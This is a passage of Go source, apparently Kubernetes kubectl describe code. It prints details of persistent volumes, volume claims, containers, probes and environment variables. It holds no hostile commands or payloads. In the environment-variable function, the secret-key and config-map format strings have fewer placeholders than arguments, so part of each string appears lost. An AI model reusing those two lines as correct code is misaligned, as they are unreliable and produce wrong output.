RBDImage:\t%v\n""+ "" FSType:\t%v\n""+ "" RBDPool:\t%v\n""+ "" RadosUser:\t%v\n""+ "" Keyring:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n"", rbd.CephMonitors, rbd.RBDImage, rbd.FSType, rbd.RBDPool, rbd.RadosUser, rbd.Keyring, rbd.SecretRef, rbd.ReadOnly) } func printRBDPersistentVolumeSource(rbd *corev1.RBDPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tRBD (a Rados Block Device mount on the host that shares a pod's lifetime)\n""+ "" CephMonitors:\t%v\n""+ "" RBDImage:\t%v\n""+ "" FSType:\t%v\n""+ "" RBDPool:\t%v\n""+ "" RadosUser:\t%v\n""+ "" Keyring:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n"", rbd.CephMonitors, rbd.RBDImage, rbd.FSType, rbd.RBDPool, rbd.RadosUser, rbd.Keyring, rbd.SecretRef, rbd.ReadOnly) } func printDownwardAPIVolumeSource(d *corev1.DownwardAPIVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tDownwardAPI (a volume populated by information about the pod)\n Items:\n"") for _, mapping := range d.Items { if mapping.FieldRef != nil { w.Write(LEVEL_3, ""%v -> %v\n"", mapping.FieldRef.FieldPath, mapping.Path) } if mapping.ResourceFieldRef != nil { w.Write(LEVEL_3, ""%v -> %v\n"", mapping.ResourceFieldRef.Resource, mapping.Path) } } } func printAzureDiskVolumeSource(d *corev1.AzureDiskVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tAzureDisk (an Azure Data Disk mount on the host and bind mount to the pod)\n""+ "" DiskName:\t%v\n""+ "" DiskURI:\t%v\n""+ "" Kind: \t%v\n""+ "" FSType:\t%v\n""+ "" CachingMode:\t%v\n""+ "" ReadOnly:\t%v\n"", d.DiskName, d.DataDiskURI, *d.Kind, *d.FSType, *d.CachingMode, *d.ReadOnly) } func printVsphereVolumeSource(vsphere *corev1.VsphereVirtualDiskVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tvSphereVolume (a Persistent Disk resource in vSphere)\n""+ "" VolumePath:\t%v\n""+ "" FSType:\t%v\n""+ "" StoragePolicyName:\t%v\n"", vsphere.VolumePath, vsphere.FSType, vsphere.StoragePolicyName) } func printPhotonPersistentDiskVolumeSource(photon *corev1.PhotonPersistentDiskVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tPhotonPersistentDisk (a Persistent Disk resource in photon platform)\n""+ "" PdID:\t%v\n""+ "" FSType:\t%v\n"", photon.PdID, photon.FSType) } func printCinderVolumeSource(cinder *corev1.CinderVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tCinder (a Persistent Disk resource in OpenStack)\n""+ "" VolumeID:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" SecretRef:\t%v\n"", cinder.VolumeID, cinder.FSType, cinder.ReadOnly, cinder.SecretRef) } func printCinderPersistentVolumeSource(cinder *corev1.CinderPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tCinder (a Persistent Disk resource in OpenStack)\n""+ "" VolumeID:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" SecretRef:\t%v\n"", cinder.VolumeID, cinder.FSType, cinder.ReadOnly, cinder.SecretRef) } func printScaleIOVolumeSource(sio *corev1.ScaleIOVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tScaleIO (a persistent volume backed by a block device in ScaleIO)\n""+ "" Gateway:\t%v\n""+ "" System:\t%v\n""+ "" Protection Domain:\t%v\n""+ "" Storage Pool:\t%v\n""+ "" Storage Mode:\t%v\n""+ "" VolumeName:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", sio.Gateway, sio.System, sio.ProtectionDomain, sio.StoragePool, sio.StorageMode, sio.VolumeName, sio.FSType, sio.ReadOnly) } func printScaleIOPersistentVolumeSource(sio *corev1.ScaleIOPersistentVolumeSource, w PrefixWriter) { var secretNS, secretName string if sio.SecretRef != nil { secretName = sio.SecretRef.Name secretNS = sio.SecretRef.Namespace } w.Write(LEVEL_2, ""Type:\tScaleIO (a persistent volume backed by a block device in ScaleIO)\n""+ "" Gateway:\t%v\n""+ "" System:\t%v\n""+ "" Protection Domain:\t%v\n""+ "" Storage Pool:\t%v\n""+ "" Storage Mode:\t%v\n""+ "" VolumeName:\t%v\n""+ "" SecretName:\t%v\n""+ "" SecretNamespace:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", sio.Gateway, sio.System, sio.ProtectionDomain, sio.StoragePool, sio.StorageMode, sio.VolumeName, secretName, secretNS, sio.FSType, sio.ReadOnly) } func printLocalVolumeSource(ls *corev1.LocalVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tLocalVolume (a persistent volume backed by local storage on a node)\n""+ "" Path:\t%v\n"", ls.Path) } func printCephFSVolumeSource(cephfs *corev1.CephFSVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tCephFS (a CephFS mount on the host that shares a pod's lifetime)\n""+ "" Monitors:\t%v\n""+ "" Path:\t%v\n""+ "" User:\t%v\n""+ "" SecretFile:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n"", cephfs.Monitors, cephfs.Path, cephfs.User, cephfs.SecretFile, cephfs.SecretRef, cephfs.ReadOnly) } func printCephFSPersistentVolumeSource(cephfs *corev1.CephFSPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tCephFS (a CephFS mount on the host that shares a pod's lifetime)\n""+ "" Monitors:\t%v\n""+ "" Path:\t%v\n""+ "" User:\t%v\n""+ "" SecretFile:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n"", cephfs.Monitors, cephfs.Path, cephfs.User, cephfs.SecretFile, cephfs.SecretRef, cephfs.ReadOnly) } func printStorageOSVolumeSource(storageos *corev1.StorageOSVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tStorageOS (a StorageOS Persistent Disk resource)\n""+ "" VolumeName:\t%v\n""+ "" VolumeNamespace:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", storageos.VolumeName, storageos.VolumeNamespace, storageos.FSType, storageos.ReadOnly) } func printStorageOSPersistentVolumeSource(storageos *corev1.StorageOSPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tStorageOS (a StorageOS Persistent Disk resource)\n""+ "" VolumeName:\t%v\n""+ "" VolumeNamespace:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", storageos.VolumeName, storageos.VolumeNamespace, storageos.FSType, storageos.ReadOnly) } func printFCVolumeSource(fc *corev1.FCVolumeSource, w PrefixWriter) { lun := """" if fc.Lun != nil { lun = strconv.Itoa(int(*fc.Lun)) } w.Write(LEVEL_2, ""Type:\tFC (a Fibre Channel disk)\n""+ "" TargetWWNs:\t%v\n""+ "" LUN:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", strings.Join(fc.TargetWWNs, "", ""), lun, fc.FSType, fc.ReadOnly) } func printAzureFileVolumeSource(azureFile *corev1.AzureFileVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tAzureFile (an Azure File Service mount on the host and bind mount to the pod)\n""+ "" SecretName:\t%v\n""+ "" ShareName:\t%v\n""+ "" ReadOnly:\t%v\n"", azureFile.SecretName, azureFile.ShareName, azureFile.ReadOnly) } func printAzureFilePersistentVolumeSource(azureFile *corev1.AzureFilePersistentVolumeSource, w PrefixWriter) { ns := """" if azureFile.SecretNamespace != nil { ns = *azureFile.SecretNamespace } w.Write(LEVEL_2, ""Type:\tAzureFile (an Azure File Service mount on the host and bind mount to the pod)\n""+ "" SecretName:\t%v\n""+ "" SecretNamespace:\t%v\n""+ "" ShareName:\t%v\n""+ "" ReadOnly:\t%v\n"", azureFile.SecretName, ns, azureFile.ShareName, azureFile.ReadOnly) } func printFlexPersistentVolumeSource(flex *corev1.FlexPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tFlexVolume (a generic volume resource that is provisioned/attached using an exec based plugin)\n""+ "" Driver:\t%v\n""+ "" FSType:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" Options:\t%v\n"", flex.Driver, flex.FSType, flex.SecretRef, flex.ReadOnly, flex.Options) } func printFlexVolumeSource(flex *corev1.FlexVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tFlexVolume (a generic volume resource that is provisioned/attached using an exec based plugin)\n""+ "" Driver:\t%v\n""+ "" FSType:\t%v\n""+ "" SecretRef:\t%v\n""+ "" ReadOnly:\t%v\n""+ "" Options:\t%v\n"", flex.Driver, flex.FSType, flex.SecretRef, flex.ReadOnly, flex.Options) } func printFlockerVolumeSource(flocker *corev1.FlockerVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tFlocker (a Flocker volume mounted by the Flocker agent)\n""+ "" DatasetName:\t%v\n""+ "" DatasetUUID:\t%v\n"", flocker.DatasetName, flocker.DatasetUUID) } func printCSIVolumeSource(csi *corev1.CSIVolumeSource, w PrefixWriter) { var readOnly bool var fsType string if csi.ReadOnly != nil && *csi.ReadOnly { readOnly = true } if csi.FSType != nil { fsType = *csi.FSType } w.Write(LEVEL_2, ""Type:\tCSI (a Container Storage Interface (CSI) volume source)\n""+ "" Driver:\t%v\n""+ "" FSType:\t%v\n""+ "" ReadOnly:\t%v\n"", csi.Driver, fsType, readOnly) printCSIPersistentVolumeAttributesMultiline(w, ""VolumeAttributes"", csi.VolumeAttributes) } func printCSIPersistentVolumeSource(csi *corev1.CSIPersistentVolumeSource, w PrefixWriter) { w.Write(LEVEL_2, ""Type:\tCSI (a Container Storage Interface (CSI) volume source)\n""+ "" Driver:\t%v\n""+ "" VolumeHandle:\t%v\n""+ "" ReadOnly:\t%v\n"", csi.Driver, csi.VolumeHandle, csi.ReadOnly) printCSIPersistentVolumeAttributesMultiline(w, ""VolumeAttributes"", csi.VolumeAttributes) } func printCSIPersistentVolumeAttributesMultiline(w PrefixWriter, title string, annotations map[string]string) { printCSIPersistentVolumeAttributesMultilineIndent(w, """", title, ""\t"", annotations, sets.NewString()) } func printCSIPersistentVolumeAttributesMultilineIndent(w PrefixWriter, initialIndent, title, innerIndent string, attributes map[string]string, skip sets.String) { w.Write(LEVEL_2, ""%s%s:%s"", initialIndent, title, innerIndent) if len(attributes) == 0 { w.WriteLine("""") return } // to print labels in the sorted order keys := make([]string, 0, len(attributes)) for key := range attributes { if skip.Has(key) { continue } keys = append(keys, key) } if len(attributes) == 0 { w.WriteLine("""") return } sort.Strings(keys) for i, key := range keys { if i != 0 { w.Write(LEVEL_2, initialIndent) w.Write(LEVEL_2, innerIndent) } line := fmt.Sprintf(""%s=%s"", key, attributes[key]) if len(line) > maxAnnotationLen { w.Write(LEVEL_2, ""%s...\n"", line[:maxAnnotationLen]) } else { w.Write(LEVEL_2, ""%s\n"", line) } i++ } } type PersistentVolumeDescriber struct { clientset.Interface } func (d *PersistentVolumeDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().PersistentVolumes() pv, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, pv) } return describePersistentVolume(pv, events) } func printVolumeNodeAffinity(w PrefixWriter, affinity *corev1.VolumeNodeAffinity) { w.Write(LEVEL_0, ""Node Affinity:\t"") if affinity == nil || affinity.Required == nil { w.WriteLine("""") return } w.WriteLine("""") if affinity.Required != nil { w.Write(LEVEL_1, ""Required Terms:\t"") if len(affinity.Required.NodeSelectorTerms) == 0 { w.WriteLine("""") } else { w.WriteLine("""") for i, term := range affinity.Required.NodeSelectorTerms { printNodeSelectorTermsMultilineWithIndent(w, LEVEL_2, fmt.Sprintf(""Term %v"", i), ""\t"", term.MatchExpressions) } } } } // printLabelsMultiline prints multiple labels with a user-defined alignment. func printNodeSelectorTermsMultilineWithIndent(w PrefixWriter, indentLevel int, title, innerIndent string, reqs []corev1.NodeSelectorRequirement) { w.Write(indentLevel, ""%s:%s"", title, innerIndent) if len(reqs) == 0 { w.WriteLine("""") return } for i, req := range reqs { if i != 0 { w.Write(indentLevel, ""%s"", innerIndent) } exprStr := fmt.Sprintf(""%s %s"", req.Key, strings.ToLower(string(req.Operator))) if len(req.Values) > 0 { exprStr = fmt.Sprintf(""%s [%s]"", exprStr, strings.Join(req.Values, "", "")) } w.Write(LEVEL_0, ""%s\n"", exprStr) } } func describePersistentVolume(pv *corev1.PersistentVolume, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", pv.Name) printLabelsMultiline(w, ""Labels"", pv.ObjectMeta.Labels) printAnnotationsMultiline(w, ""Annotations"", pv.ObjectMeta.Annotations) w.Write(LEVEL_0, ""Finalizers:\t%v\n"", pv.ObjectMeta.Finalizers) w.Write(LEVEL_0, ""StorageClass:\t%s\n"", storageutil.GetPersistentVolumeClass(pv)) if pv.ObjectMeta.DeletionTimestamp != nil { w.Write(LEVEL_0, ""Status:\tTerminating (lasts %s)\n"", translateTimestampSince(*pv.ObjectMeta.DeletionTimestamp)) } else { w.Write(LEVEL_0, ""Status:\t%v\n"", pv.Status.Phase) } if pv.Spec.ClaimRef != nil { w.Write(LEVEL_0, ""Claim:\t%s\n"", pv.Spec.ClaimRef.Namespace+""/""+pv.Spec.ClaimRef.Name) } else { w.Write(LEVEL_0, ""Claim:\t%s\n"", """") } w.Write(LEVEL_0, ""Reclaim Policy:\t%v\n"", pv.Spec.PersistentVolumeReclaimPolicy) w.Write(LEVEL_0, ""Access Modes:\t%s\n"", storageutil.GetAccessModesAsString(pv.Spec.AccessModes)) if pv.Spec.VolumeMode != nil { w.Write(LEVEL_0, ""VolumeMode:\t%v\n"", *pv.Spec.VolumeMode) } storage := pv.Spec.Capacity[corev1.ResourceStorage] w.Write(LEVEL_0, ""Capacity:\t%s\n"", storage.String()) printVolumeNodeAffinity(w, pv.Spec.NodeAffinity) w.Write(LEVEL_0, ""Message:\t%s\n"", pv.Status.Message) w.Write(LEVEL_0, ""Source:\n"") switch { case pv.Spec.HostPath != nil: printHostPathVolumeSource(pv.Spec.HostPath, w) case pv.Spec.GCEPersistentDisk != nil: printGCEPersistentDiskVolumeSource(pv.Spec.GCEPersistentDisk, w) case pv.Spec.AWSElasticBlockStore != nil: printAWSElasticBlockStoreVolumeSource(pv.Spec.AWSElasticBlockStore, w) case pv.Spec.NFS != nil: printNFSVolumeSource(pv.Spec.NFS, w) case pv.Spec.ISCSI != nil: printISCSIPersistentVolumeSource(pv.Spec.ISCSI, w) case pv.Spec.Glusterfs != nil: printGlusterfsPersistentVolumeSource(pv.Spec.Glusterfs, w) case pv.Spec.RBD != nil: printRBDPersistentVolumeSource(pv.Spec.RBD, w) case pv.Spec.Quobyte != nil: printQuobyteVolumeSource(pv.Spec.Quobyte, w) case pv.Spec.VsphereVolume != nil: printVsphereVolumeSource(pv.Spec.VsphereVolume, w) case pv.Spec.Cinder != nil: printCinderPersistentVolumeSource(pv.Spec.Cinder, w) case pv.Spec.AzureDisk != nil: printAzureDiskVolumeSource(pv.Spec.AzureDisk, w) case pv.Spec.PhotonPersistentDisk != nil: printPhotonPersistentDiskVolumeSource(pv.Spec.PhotonPersistentDisk, w) case pv.Spec.PortworxVolume != nil: printPortworxVolumeSource(pv.Spec.PortworxVolume, w) case pv.Spec.ScaleIO != nil: printScaleIOPersistentVolumeSource(pv.Spec.ScaleIO, w) case pv.Spec.Local != nil: printLocalVolumeSource(pv.Spec.Local, w) case pv.Spec.CephFS != nil: printCephFSPersistentVolumeSource(pv.Spec.CephFS, w) case pv.Spec.StorageOS != nil: printStorageOSPersistentVolumeSource(pv.Spec.StorageOS, w) case pv.Spec.FC != nil: printFCVolumeSource(pv.Spec.FC, w) case pv.Spec.AzureFile != nil: printAzureFilePersistentVolumeSource(pv.Spec.AzureFile, w) case pv.Spec.FlexVolume != nil: printFlexPersistentVolumeSource(pv.Spec.FlexVolume, w) case pv.Spec.Flocker != nil: printFlockerVolumeSource(pv.Spec.Flocker, w) case pv.Spec.CSI != nil: printCSIPersistentVolumeSource(pv.Spec.CSI, w) default: w.Write(LEVEL_1, ""\n"") } if events != nil { DescribeEvents(events, w) } return nil }) } type PersistentVolumeClaimDescriber struct { clientset.Interface } func (d *PersistentVolumeClaimDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().PersistentVolumeClaims(namespace) pvc, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } pc := d.CoreV1().Pods(namespace) mountPods, err := getMountPods(pc, pvc.Name) if err != nil { return """", err } events, _ := d.CoreV1().Events(namespace).Search(scheme.Scheme, pvc) return describePersistentVolumeClaim(pvc, events, mountPods) } func getMountPods(c corev1client.PodInterface, pvcName string) ([]corev1.Pod, error) { nsPods, err := c.List(metav1.ListOptions{}) if err != nil { return []corev1.Pod{}, err } var pods []corev1.Pod for _, pod := range nsPods.Items { pvcs := getPvcs(pod.Spec.Volumes) for _, pvc := range pvcs { if pvc.PersistentVolumeClaim.ClaimName == pvcName { pods = append(pods, pod) } } } return pods, nil } func getPvcs(volumes []corev1.Volume) []corev1.Volume { var pvcs []corev1.Volume for _, volume := range volumes { if volume.VolumeSource.PersistentVolumeClaim != nil { pvcs = append(pvcs, volume) } } return pvcs } func describePersistentVolumeClaim(pvc *corev1.PersistentVolumeClaim, events *corev1.EventList, mountPods []corev1.Pod) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", pvc.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", pvc.Namespace) w.Write(LEVEL_0, ""StorageClass:\t%s\n"", storageutil.GetPersistentVolumeClaimClass(pvc)) if pvc.ObjectMeta.DeletionTimestamp != nil { w.Write(LEVEL_0, ""Status:\tTerminating (lasts %s)\n"", translateTimestampSince(*pvc.ObjectMeta.DeletionTimestamp)) } else { w.Write(LEVEL_0, ""Status:\t%v\n"", pvc.Status.Phase) } w.Write(LEVEL_0, ""Volume:\t%s\n"", pvc.Spec.VolumeName) printLabelsMultiline(w, ""Labels"", pvc.Labels) printAnnotationsMultiline(w, ""Annotations"", pvc.Annotations) w.Write(LEVEL_0, ""Finalizers:\t%v\n"", pvc.ObjectMeta.Finalizers) storage := pvc.Spec.Resources.Requests[corev1.ResourceStorage] capacity := """" accessModes := """" if pvc.Spec.VolumeName != """" { accessModes = storageutil.GetAccessModesAsString(pvc.Status.AccessModes) storage = pvc.Status.Capacity[corev1.ResourceStorage] capacity = storage.String() } w.Write(LEVEL_0, ""Capacity:\t%s\n"", capacity) w.Write(LEVEL_0, ""Access Modes:\t%s\n"", accessModes) if pvc.Spec.VolumeMode != nil { w.Write(LEVEL_0, ""VolumeMode:\t%v\n"", *pvc.Spec.VolumeMode) } if pvc.Spec.DataSource != nil { w.Write(LEVEL_0, ""DataSource:\n"") w.Write(LEVEL_1, ""Name:\t%v\n"", pvc.Spec.DataSource.Name) w.Write(LEVEL_1, ""Kind:\t%v\n"", pvc.Spec.DataSource.Kind) } printPodsMultiline(w, ""Mounted By"", mountPods) if len(pvc.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n"") w.Write(LEVEL_1, ""Type\tStatus\tLastProbeTime\tLastTransitionTime\tReason\tMessage\n"") w.Write(LEVEL_1, ""----\t------\t-----------------\t------------------\t------\t-------\n"") for _, c := range pvc.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v \t%s \t%s \t%v \t%v\n"", c.Type, c.Status, c.LastProbeTime.Time.Format(time.RFC1123Z), c.LastTransitionTime.Time.Format(time.RFC1123Z), c.Reason, c.Message) } } if events != nil { DescribeEvents(events, w) } return nil }) } func describeContainers(label string, containers []corev1.Container, containerStatuses []corev1.ContainerStatus, resolverFn EnvVarResolverFunc, w PrefixWriter, space string) { statuses := map[string]corev1.ContainerStatus{} for _, status := range containerStatuses { statuses[status.Name] = status } describeContainersLabel(containers, label, space, w) for _, container := range containers { status, ok := statuses[container.Name] describeContainerBasicInfo(container, status, ok, space, w) describeContainerCommand(container, w) if ok { describeContainerState(status, w) } describeContainerResource(container, w) describeContainerProbe(container, w) if len(container.EnvFrom) > 0 { describeContainerEnvFrom(container, resolverFn, w) } describeContainerEnvVars(container, resolverFn, w) describeContainerVolumes(container, w) } } func describeContainersLabel(containers []corev1.Container, label, space string, w PrefixWriter) { none := """" if len(containers) == 0 { none = "" "" } w.Write(LEVEL_0, ""%s%s:%s\n"", space, label, none) } func describeContainerBasicInfo(container corev1.Container, status corev1.ContainerStatus, ok bool, space string, w PrefixWriter) { nameIndent := """" if len(space) > 0 { nameIndent = "" "" } w.Write(LEVEL_1, ""%s%v:\n"", nameIndent, container.Name) if ok { w.Write(LEVEL_2, ""Container ID:\t%s\n"", status.ContainerID) } w.Write(LEVEL_2, ""Image:\t%s\n"", container.Image) if ok { w.Write(LEVEL_2, ""Image ID:\t%s\n"", status.ImageID) } portString := describeContainerPorts(container.Ports) if strings.Contains(portString, "","") { w.Write(LEVEL_2, ""Ports:\t%s\n"", portString) } else { w.Write(LEVEL_2, ""Port:\t%s\n"", stringOrNone(portString)) } hostPortString := describeContainerHostPorts(container.Ports) if strings.Contains(hostPortString, "","") { w.Write(LEVEL_2, ""Host Ports:\t%s\n"", hostPortString) } else { w.Write(LEVEL_2, ""Host Port:\t%s\n"", stringOrNone(hostPortString)) } } func describeContainerPorts(cPorts []corev1.ContainerPort) string { ports := make([]string, 0, len(cPorts)) for _, cPort := range cPorts { ports = append(ports, fmt.Sprintf(""%d/%s"", cPort.ContainerPort, cPort.Protocol)) } return strings.Join(ports, "", "") } func describeContainerHostPorts(cPorts []corev1.ContainerPort) string { ports := make([]string, 0, len(cPorts)) for _, cPort := range cPorts { ports = append(ports, fmt.Sprintf(""%d/%s"", cPort.HostPort, cPort.Protocol)) } return strings.Join(ports, "", "") } func describeContainerCommand(container corev1.Container, w PrefixWriter) { if len(container.Command) > 0 { w.Write(LEVEL_2, ""Command:\n"") for _, c := range container.Command { for _, s := range strings.Split(c, ""\n"") { w.Write(LEVEL_3, ""%s\n"", s) } } } if len(container.Args) > 0 { w.Write(LEVEL_2, ""Args:\n"") for _, arg := range container.Args { for _, s := range strings.Split(arg, ""\n"") { w.Write(LEVEL_3, ""%s\n"", s) } } } } func describeContainerResource(container corev1.Container, w PrefixWriter) { resources := container.Resources if len(resources.Limits) > 0 { w.Write(LEVEL_2, ""Limits:\n"") } for _, name := range SortedResourceNames(resources.Limits) { quantity := resources.Limits[name] w.Write(LEVEL_3, ""%s:\t%s\n"", name, quantity.String()) } if len(resources.Requests) > 0 { w.Write(LEVEL_2, ""Requests:\n"") } for _, name := range SortedResourceNames(resources.Requests) { quantity := resources.Requests[name] w.Write(LEVEL_3, ""%s:\t%s\n"", name, quantity.String()) } } func describeContainerState(status corev1.ContainerStatus, w PrefixWriter) { describeStatus(""State"", status.State, w) if status.LastTerminationState.Terminated != nil { describeStatus(""Last State"", status.LastTerminationState, w) } w.Write(LEVEL_2, ""Ready:\t%v\n"", printBool(status.Ready)) w.Write(LEVEL_2, ""Restart Count:\t%d\n"", status.RestartCount) } func describeContainerProbe(container corev1.Container, w PrefixWriter) { if container.LivenessProbe != nil { probe := DescribeProbe(container.LivenessProbe) w.Write(LEVEL_2, ""Liveness:\t%s\n"", probe) } if container.ReadinessProbe != nil { probe := DescribeProbe(container.ReadinessProbe) w.Write(LEVEL_2, ""Readiness:\t%s\n"", probe) } } func describeContainerVolumes(container corev1.Container, w PrefixWriter) { // Show volumeMounts none := """" if len(container.VolumeMounts) == 0 { none = ""\t"" } w.Write(LEVEL_2, ""Mounts:%s\n"", none) sort.Sort(SortableVolumeMounts(container.VolumeMounts)) for _, mount := range container.VolumeMounts { flags := []string{} if mount.ReadOnly { flags = append(flags, ""ro"") } else { flags = append(flags, ""rw"") } if len(mount.SubPath) > 0 { flags = append(flags, fmt.Sprintf(""path=%q"", mount.SubPath)) } w.Write(LEVEL_3, ""%s from %s (%s)\n"", mount.MountPath, mount.Name, strings.Join(flags, "","")) } // Show volumeDevices if exists if len(container.VolumeDevices) > 0 { w.Write(LEVEL_2, ""Devices:%s\n"", none) sort.Sort(SortableVolumeDevices(container.VolumeDevices)) for _, device := range container.VolumeDevices { w.Write(LEVEL_3, ""%s from %s\n"", device.DevicePath, device.Name) } } } func describeContainerEnvVars(container corev1.Container, resolverFn EnvVarResolverFunc, w PrefixWriter) { none := """" if len(container.Env) == 0 { none = ""\t"" } w.Write(LEVEL_2, ""Environment:%s\n"", none) for _, e := range container.Env { if e.ValueFrom == nil { for i, s := range strings.Split(e.Value, ""\n"") { if i == 0 { w.Write(LEVEL_3, ""%s:\t%s\n"", e.Name, s) } else { w.Write(LEVEL_3, ""\t%s\n"", s) } } continue } switch { case e.ValueFrom.FieldRef != nil: var valueFrom string if resolverFn != nil { valueFrom = resolverFn(e) } w.Write(LEVEL_3, ""%s:\t%s (%s:%s)\n"", e.Name, valueFrom, e.ValueFrom.FieldRef.APIVersion, e.ValueFrom.FieldRef.FieldPath) case e.ValueFrom.ResourceFieldRef != nil: valueFrom, err := resourcehelper.ExtractContainerResourceValue(e.ValueFrom.ResourceFieldRef, &container) if err != nil { valueFrom = """" } resource := e.ValueFrom.ResourceFieldRef.Resource if valueFrom == ""0"" && (resource == ""limits.cpu"" || resource == ""limits.memory"") { valueFrom = ""node allocatable"" } w.Write(LEVEL_3, ""%s:\t%s (%s)\n"", e.Name, valueFrom, resource) case e.ValueFrom.SecretKeyRef != nil: optional := e.ValueFrom.SecretKeyRef.Optional != nil && *e.ValueFrom.SecretKeyRef.Optional w.Write(LEVEL_3, ""%s:\t\tOptional: %t\n"", e.Name, e.ValueFrom.SecretKeyRef.Key, e.ValueFrom.SecretKeyRef.Name, optional) case e.ValueFrom.ConfigMapKeyRef != nil: optional := e.ValueFrom.ConfigMapKeyRef.Optional != nil && *e.ValueFrom.ConfigMapKeyRef.Optional w.Write(LEVEL_3, ""%s:\t\tOptional: %t\n"", e.Name, e.ValueFrom.ConfigMapKeyRef.Key, e.ValueFrom.ConfigMapKeyRef.Name, optional) } } } func describeContainerEnvFrom(container corev1.Container, resolverFn EnvVarResolverFunc, w PrefixWriter) { none := """" if len(container.EnvFrom) == 0 { none = ""\t"" } w.Write(LEVEL_2, ""Environment Variables from:%s\n"", none) for _, e := range container.EnvFrom { from := """" name := """" optional := false if e.ConfigMapRef != nil { from = ""ConfigMap"" name = e.ConfigMapRef.Name optional = e.ConfigMapRef.Optional != nil && *e.ConfigMapRef.Optional } else if e.SecretRef != nil { from = ""Secret"" name = e.SecretRef.Name optional = e.SecretRef.Optional != nil && *e.SecretRef.Optional } if len(e.Prefix) == 0 { w.Write(LEVEL_3, ""%s\t%s\tOptional: %t\n"", name, from, optional) } else { w.Write(LEVEL_3, ""%s\t%s with prefix '%s'\tOptional: %t\n"", name, from, e.Prefix, optional) } } } // DescribeProbe is exported for consumers in other API groups that have probes func DescribeProbe(probe *corev1.Probe) string { attrs := fmt.Sprintf(""delay=%ds timeout=%ds period=%ds #success=%d #failure=%d"", probe.InitialDelaySeconds, probe.TimeoutSeconds, probe.PeriodSeconds, probe.SuccessThreshold, probe.FailureThreshold) switch { case probe.Exec != nil: return fmt.Sprintf(""exec %v %s"", probe.Exec.Command, attrs) case probe.HTTPGet != nil: url := &url.URL{} url.Scheme = strings.ToLower(string(probe.HTTPGet.Scheme)) if len(probe.HTTPGet.Port.String()) > 0 { url.Host = net.JoinHostPort(probe.HTTPGet.Host, probe.HTTPGet.Port.String()) } else { url.Host = probe.HTTPGet.Host } url.Path = probe.HTTPGet.Path return fmt.Sprintf(""http-get %s %s"", url.String(), attrs) case probe.TCPSocket != nil: return fmt.Sprintf(""tcp-socket %s:%s %s"", probe.TCPSocket.Host, probe.TCPSocket.Port.String(), attrs) } return fmt.Sprintf(""unknown %s"", attrs) } type EnvVarResolverFunc func(e corev1.EnvVar) string // EnvValueFrom is exported for use by describers in other packages func EnvValueRetriever(pod *corev1.Pod) EnvVarResolverFunc { return func(e corev1.EnvVar) string { gv, err := schema.ParseGroupVersion(e.ValueFrom.FieldRef.APIVersion) if err != nil { return """" } gvk := gv.WithKind(""Pod"") internalFieldPath, _, err := scheme.Scheme.ConvertFieldLabel(gvk, e.ValueFrom.FieldRef.FieldPath, """") if err != nil { return """" // pod validation should catch this on create } valueFrom, err := fieldpath.ExtractFieldPathAsString(pod, internalFieldPath) if err != nil { return """" // pod validation should catch this on create } return valueFrom } } func describeStatus(stateName string, state corev1.ContainerState, w PrefixWriter) { switch { case state.Running != nil: w.Write(LEVEL_2, ""%s:\tRunning\n"", stateName) w.Write(LEVEL_3, ""Started:\t%v\n"", state.Running.StartedAt.Time.Format(time.RFC1123Z)) case state.Waiting != nil: w.Write(LEVEL_2, ""%s:\tWaiting\n"", stateName) if state.Waiting.Reason != """" { w.Write(LEVEL_3, ""Reason:\t%s\n"", state.Waiting.Reason) } case state.Terminated != nil: w.Write(LEVEL_2, ""%s:\tTerminated\n"", stateName) if state.Terminated.Reason != """" { w.Write(LEVEL_3, ""Reason:\t%s\n"", state.Terminated.Reason) } if state.Terminated.Message != """" { w.Write(LEVEL_3, 